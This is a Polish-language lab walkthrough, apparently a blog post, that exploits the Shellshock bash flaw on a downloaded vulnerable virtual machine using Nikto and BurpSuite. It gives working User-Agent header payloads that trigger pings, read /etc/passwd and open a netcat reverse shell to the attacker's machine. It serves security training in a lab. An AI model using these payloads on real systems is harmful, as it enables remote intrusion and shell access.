Działanie
Shellshock korzysta z nagłówków HTTP jak i innych mechanizmów, aby umożliwić nieautoryzowany dostęp do powłoki systemowej bash. Pozwala to atakującemu na zdalne wykonywanie komend. Jest to podatność arbitrary code execution.
Nie będę tutaj opisywał jak skonfigurować przeglądarkę, BurpSuite czy Kali Linuxa. Zakładam, że masz już podstawową wiedzę na ten temat. W internecie znajdziesz niezliczoną ilość poradników jak przygotować sobie środowisko.
Stronę zadania znajdziesz tutaj.
Pobierz obraz podatnego systemu i uruchom go np. za pomocą VMWare czy VirtualBox.
[download id=”2″]
Po uruchomieniu systemu operacyjnego naszego celu sprawdź jego adres IP
ifconfig
W moim przypadku jest to 192.168.255.131
Nikto
Uruchom skaner podatności Nikto
nikto -h http://192.168.255.131/
Jak widzimy wykrył on podatność shellshock.
BurpSuite
Za pomocą BurpSuite przechwyć żądanie do naszego celu otwierając w przeglądarce podatną stronę.
Wciśnij Action a następnie Send to Repeater. W linijce User-Agent zamień aktualną zawartość na
User-Agent: () { :; }; /bin/bash -c 'ping -c 2 192.168.255.150'
gdzie 192.168.255.150 to nasz adres IP.
() { :; } - exploit /bin/bash - powłoka basha ping -c 2 192.168.255.150 - wysłanie dwóch komunikatów ICMP na naszą maszynę
Otwórz konsolę i włącz nasłuchiwanie, aby wykryć pingi
tcpdump -i eth0 -n icmp
Wyślij żądanie wciskając przycisk Go i obserwuj komunikaty w konsoli. Jak widzimy udało nam się zmusić cel do wysłania pingów na maszynę atakującego.
Spróbujmy zrobić coś groźniejszego niż pingowanie (chociaż nie lekceważ pingu, można go wykorzystać do ataku DoS / DDoS). Wyświetlmy zawartość pliku /etc/passwd. Zmodyfikujmy ponownie linijkę z identyfikatorem przeglądarki
User-Agent: () { :; }; /bin/bash -c 'ping -c 2 192.168.255.130; cat /etc/passwd; whoami'
Reverse Shellshock
Na maszynie atakującego uruchom nasłuchiwanie na porcie 1234
nc -lvp 1234
W Burpie zmodyfikuj nagłówek aby serwer połączył się z atakującym na porcie 1234
User-Agent: () { :; }; /bin/bash -c 'nc 192.168.255.130 1234 -e /bin/sh'
Nie mieliśmy z góry ustalonego celu w postaci na przykład zdobycia flagi więc można w tym momencie uznać zadanie za zakończone.